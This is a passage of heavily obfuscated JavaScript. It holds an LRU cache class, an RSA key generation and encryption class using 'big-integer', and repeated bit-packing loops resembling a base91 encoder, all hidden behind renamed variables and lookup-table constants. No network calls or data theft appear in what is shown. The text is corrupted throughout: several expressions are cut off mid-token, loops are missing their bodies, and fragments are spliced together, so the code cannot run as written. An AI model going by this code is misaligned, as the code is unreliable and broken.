pbtMmK!=0x194&&pbtMmK!=0x75&&pbtMmK-0xb9:PaHg91(NHEajH[Cj_I_N[pbtMmK+-0x180]]=Cj_I_N[pbtMmK+-0x17d],NHEajH[Cj_I_N[pbtMmK+-0x17d]]=\"\\x72\\x70\\x38\\x59\\x58\\x29\\x2e\\x56\\x44\\x68\\x71\\x42\\x79\\x5b\\x5e\\x7c\\x4c\\x46\\x73\\x78\\x6b\\x32\\x41\\x74\\x3c\\x61\\x37\\x55\\x26\\x53\\x30\\x60\\x77\\x24\\x43\\x51\\x7a\\x28\\x40\\x6f\\x76\\x23\\x4d\\x4f\\x45\\x33\\x39\\x34\\x3a\\x75\\x6c\\x7d\\x4b\\x31\\x5d\\x3e\\x3f\\x2b\\x3d\\x63\\x2f\\x5f\\x6a\\x65\\x6e\\x4a\\x57\\x7e\\x47\\x35\\x66\\x7b\\x25\\x49\\x62\\x67\\x21\\x64\\x50\\x54\\x22\\x36\\x69\\x2c\\x4e\\x6d\\x52\\x5a\\x2a\\x3b\\x48\",NHEajH[-Cj_I_N[0x6a]]=\"\"+(NHEajH[Cj_I_N[pbtMmK+-0x17f]]||\"\"),CNKMODU.q3lZ3T=CNKMODU.zFuCXxz,pbtMmK+=-0x91,eF1xnU+=-0x7e);break;case pbtMmK!=-0xa3&&pbtMmK- -0xda:case 0xa8:case-0xa4:PaHg91(NHEajH[-Cj_I_N[0x59]].push((NHEajH[Cj_I_N[pbtMmK+0xeb]]|NHEajH[Cj_I_N[0x18]]<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0x1e]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x86]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x86]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x18]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0x1e]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[Cj_I_N[0x18]]<{const NHEajH=y2jwy3[pBBD3do];if(NHEajH===Cj_I_N[0x5]){return vo5ybrc}if(typeof NHEajH===aO7tmu(Cj_I_N[0x282])&&!BBg00x(aO7tmu(Cj_I_N[0x26e])+Cj_I_N[0xa2])[aO7tmu(Cj_I_N[0x2f3])+Cj_I_N[0x81]](NHEajH)){return vo5ybrc[aO7tmu(Cj_I_N[0x2f4])](pBBD3do)[aO7tmu(Cj_I_N[0x2f4])](BBg00x(aO7tmu(Cj_I_N[0x28a])+Cj_I_N[0x155])[aO7tmu(Cj_I_N[0x299])+aO7tmu(Cj_I_N[0x29a])](NHEajH))}if(BBg00x(aO7tmu(Cj_I_N[0x2f5]))[aO7tmu(Cj_I_N[0x2f3])+Cj_I_N[0x81]](NHEajH)){if(NHEajH[aO7tmu(Cj_I_N[0x239])]>Cj_I_N[0x1]){let x3sl6HQ=typeof NHEajH[Cj_I_N[0x1]];if(x3sl6HQ===aO7tmu(Cj_I_N[0x282])){let pbtMmK=\"\";NHEajH[aO7tmu(Cj_I_N[0x2f6])](OVsfzw((...vo5ybrc)=>{PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x7],pbtMmK+=BBg00x(aO7tmu(Cj_I_N[0x28a])+Cj_I_N[0x155])[aO7tmu(Cj_I_N[0x2f7])](vo5ybrc[Cj_I_N[0x1]])+(vo5ybrc[Cj_I_N[0x3]]!==NHEajH[aO7tmu(Cj_I_N[0x239])]-Cj_I_N[0x3]?\"\\u002c\":\"\"))},Cj_I_N[0x7]));return vo5ybrc[aO7tmu(Cj_I_N[0x2f4])](pBBD3do)[aO7tmu(Cj_I_N[0x2f4])](pbtMmK)}}return vo5ybrc[aO7tmu(Cj_I_N[0x2f4])](pBBD3do)[aO7tmu(Cj_I_N[0x2f4])](NHEajH[aO7tmu(Cj_I_N[0x26a])+Cj_I_N[0x114]]())}return vo5ybrc[aO7tmu(Cj_I_N[0x2f4])](pBBD3do)[aO7tmu(Cj_I_N[0x2f4])](NHEajH[aO7tmu(Cj_I_N[0x26a])+Cj_I_N[0x114]]())},\"\");const pbtMmK=aO7tmu(Cj_I_N[0x2f8])+aO7tmu(Cj_I_N[0x2f9])+aO7tmu(Cj_I_N[0x2fa]),eF1xnU=pBBD3do[aO7tmu(Cj_I_N[0x2fb])+Cj_I_N[0x543]][aO7tmu(Cj_I_N[0x2fc])](x3sl6HQ[aO7tmu(Cj_I_N[0x2f4])](pbtMmK))[aO7tmu(Cj_I_N[0x26a])+Cj_I_N[0x114]]();return eF1xnU}function l5X9BD(){\"use strict\";var[[vo5ybrc],y2jwy3]=arguments;if(vo5ybrc{vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x7];return vo5ybrc[Cj_I_N[0x3]]},Cj_I_N[0x7]))]}else{const pBBD3do=[],NHEajH=BBg00x(aO7tmu(Cj_I_N[0x268]))[aO7tmu(Cj_I_N[0x2fd])](vo5ybrc/Cj_I_N[0x37]),x3sl6HQ=vo5ybrc%Cj_I_N[0x37];for(let pbtMmK=Cj_I_N[0x1];pbtMmK{vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x7];return vo5ybrc[Cj_I_N[0x3]]},Cj_I_N[0x7])));if(x3sl6HQ>Cj_I_N[0x1]){pBBD3do[aO7tmu(Cj_I_N[0x2fe])](BBg00x(aO7tmu(Cj_I_N[0x2f5]))[aO7tmu(Cj_I_N[0x26f])]({[aO7tmu(Cj_I_N[0x239])]:x3sl6HQ},OVsfzw((...vo5ybrc)=>{vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x7];if(aO7tmu(Cj_I_N[0x2ff])in FEkO5Ur){y2jwy3()}function y2jwy3(...vo5ybrc){var y2jwy3;PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x1],y2jwy3=OVsfzw(function(...vo5ybrc){PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x3],this.capacity=vo5ybrc[Cj_I_N[0x1]],this.length=Cj_I_N[0x1],this.map={},this.head=Cj_I_N[0x5],this.tail=Cj_I_N[0x5])}),y2jwy3.prototype.get=OVsfzw(function(...vo5ybrc){var y2jwy3;PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x3],y2jwy3=this.map[vo5ybrc[Cj_I_N[0x1]]]);return y2jwy3?(this.remove(y2jwy3),this.insert(y2jwy3.key,y2jwy3.val),y2jwy3.val):-Cj_I_N[0x3]}),y2jwy3.prototype.put=OVsfzw(function(...vo5ybrc){PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x7],this.map[vo5ybrc[Cj_I_N[0x1]]]?(this.remove(this.map[vo5ybrc[Cj_I_N[0x1]]]),this.insert(vo5ybrc[Cj_I_N[0x1]],vo5ybrc[Cj_I_N[0x3]])):this.length===this.capacity?(this.remove(this.head),this.insert(vo5ybrc[Cj_I_N[0x1]],vo5ybrc[Cj_I_N[0x3]])):(this.insert(vo5ybrc[Cj_I_N[0x1]],vo5ybrc[Cj_I_N[0x3]]),this.length++))},Cj_I_N[0x7]),y2jwy3.prototype.remove=OVsfzw(function(...vo5ybrc){PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x3],vo5ybrc[Cj_I_N[0x3a]]=vo5ybrc[Cj_I_N[0x1]].prev,vo5ybrc[Cj_I_N[0x12]]=vo5ybrc[Cj_I_N[0x1]].next);if(vo5ybrc[Cj_I_N[0x12]])vo5ybrc[Cj_I_N[0x12]].prev=vo5ybrc[Cj_I_N[0x3a]];if(vo5ybrc[Cj_I_N[0x3a]])vo5ybrc[Cj_I_N[0x3a]].next=vo5ybrc[Cj_I_N[0x12]];if(this.head===vo5ybrc[Cj_I_N[0x1]])this.head=vo5ybrc[Cj_I_N[0x12]];if(this.tail===vo5ybrc[Cj_I_N[0x1]])this.tail=vo5ybrc[Cj_I_N[0x3a]];delete this.map[vo5ybrc[Cj_I_N[0x1]].key]}),y2jwy3.prototype.insert=OVsfzw(function(...vo5ybrc){PaHg91(vo5ybrc[Cj_I_N[0x0]]=Cj_I_N[0x7],vo5ybrc[Cj_I_N[0xa]]=new(BBg00x(aO7tmu(Cj_I_N[0x300])))(vo5ybrc[Cj_I_N[0x1]],vo5ybrc[Cj_I_N[0x3]]),!this.tail?(this.tail=vo5ybrc[Cj_I_N[0xa]],this.head=vo5ybrc[Cj_I_N[0xa]]):(this.tail.next=vo5ybrc[Cj_I_N[0xa]],vo5ybrc[Cj_I_N[0xa]].prev=this.tail,this.tail=vo5ybrc[Cj_I_N[0xa]]),this.map[vo5ybrc[Cj_I_N[0x1]]]=vo5ybrc[Cj_I_N[0xa]])},Cj_I_N[0x7]),BBg00x(aO7tmu(Cj_I_N[0x298])).log(y2jwy3))}return vo5ybrc[Cj_I_N[0x3]]},Cj_I_N[0x7])))}return pBBD3do}}async function lwujnzP(){\"use strict\";var[[NHEajH],x3sl6HQ]=arguments;try{if(aO7tmu(Cj_I_N[0x301])in FEkO5Ur){pbtMmK()}function pbtMmK(...NHEajH){NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x1];const x3sl6HQ=MvM5jOa[\"a_H98v\"](\"big-integer\");PaHg91(NHEajH[-Cj_I_N[0x3f]]=class pbtMmK{static randomPrime(NHEajH){const pbtMmK=x3sl6HQ.one.shiftLeft(NHEajH-Cj_I_N[0x3]),eF1xnU=x3sl6HQ.one.shiftLeft(NHEajH).prev();while(Cj_I_N[0x193]){let CNKMODU=x3sl6HQ.randBetween(pbtMmK,eF1xnU);if(CNKMODU.isProbablePrime(Cj_I_N[0x9])){return CNKMODU}}}static generate(...NHEajH){NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3];const pbtMmK=x3sl6HQ(Cj_I_N[0x29e]);let eF1xnU,CNKMODU;NHEajH[Cj_I_N[0xa]]=Cj_I_N[0x24];do{PaHg91(eF1xnU=this.randomPrime(NHEajH[Cj_I_N[0x1]]/Cj_I_N[0x7]),CNKMODU=this.randomPrime(NHEajH[Cj_I_N[0x1]]/Cj_I_N[0x7]),NHEajH[Cj_I_N[0xa]]=x3sl6HQ.lcm(eF1xnU.prev(),CNKMODU.prev()))}while(x3sl6HQ.gcd(pbtMmK,NHEajH[Cj_I_N[0xa]]).notEquals(Cj_I_N[0x3])||eF1xnU.minus(CNKMODU).abs().shiftRight(NHEajH[Cj_I_N[0x1]]/Cj_I_N[0x7]-Cj_I_N[0x27b]).isZero());return{e:pbtMmK,n:eF1xnU.multiply(CNKMODU),d:pbtMmK.modInv(NHEajH[Cj_I_N[0xa]])}}static encrypt(...NHEajH){NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x4];return x3sl6HQ(NHEajH[Cj_I_N[0x1]]).modPow(NHEajH[Cj_I_N[0x7]],NHEajH[Cj_I_N[0x3]])}static decrypt(...NHEajH){NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x4];return x3sl6HQ(NHEajH[Cj_I_N[0x1]]).modPow(NHEajH[Cj_I_N[0x3]],NHEajH[Cj_I_N[0x7]])}static encode(NHEajH){const pbtMmK=NHEajH.split(\"\").map(NHEajH=>NHEajH.charCodeAt()).join(\"\");return x3sl6HQ(pbtMmK)}static decode(...NHEajH){NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3];const x3sl6HQ=NHEajH[Cj_I_N[0x1]].toString();NHEajH[Cj_I_N[0xa]]=\"\";for(let pbtMmK=Cj_I_N[0x1];pbtMmKCj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0x69]].push(NHEajH[Cj_I_N[0x30]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x30]]>>=Cj_I_N[0xc],NHEajH[-Cj_I_N[0x55]]-=Cj_I_N[0xc])}while(NHEajH[-Cj_I_N[0x55]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x18]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0x69]].push((NHEajH[Cj_I_N[0x30]]|NHEajH[Cj_I_N[0x18]]<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0xe]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x16]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x16]]>Cj_I_N[0x18]);NHEajH[-Cj_I_N[0x228]]=-Cj_I_N[0x3]}}if(NHEajH[-Cj_I_N[0x228]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0xe]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[-Cj_I_N[0x228]]<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0xbe]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x19]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x19]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x18]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0xbe]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[Cj_I_N[0x18]]<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0xe]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0xb]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0xb]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x39]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x39]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0xe]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[Cj_I_N[0x39]]<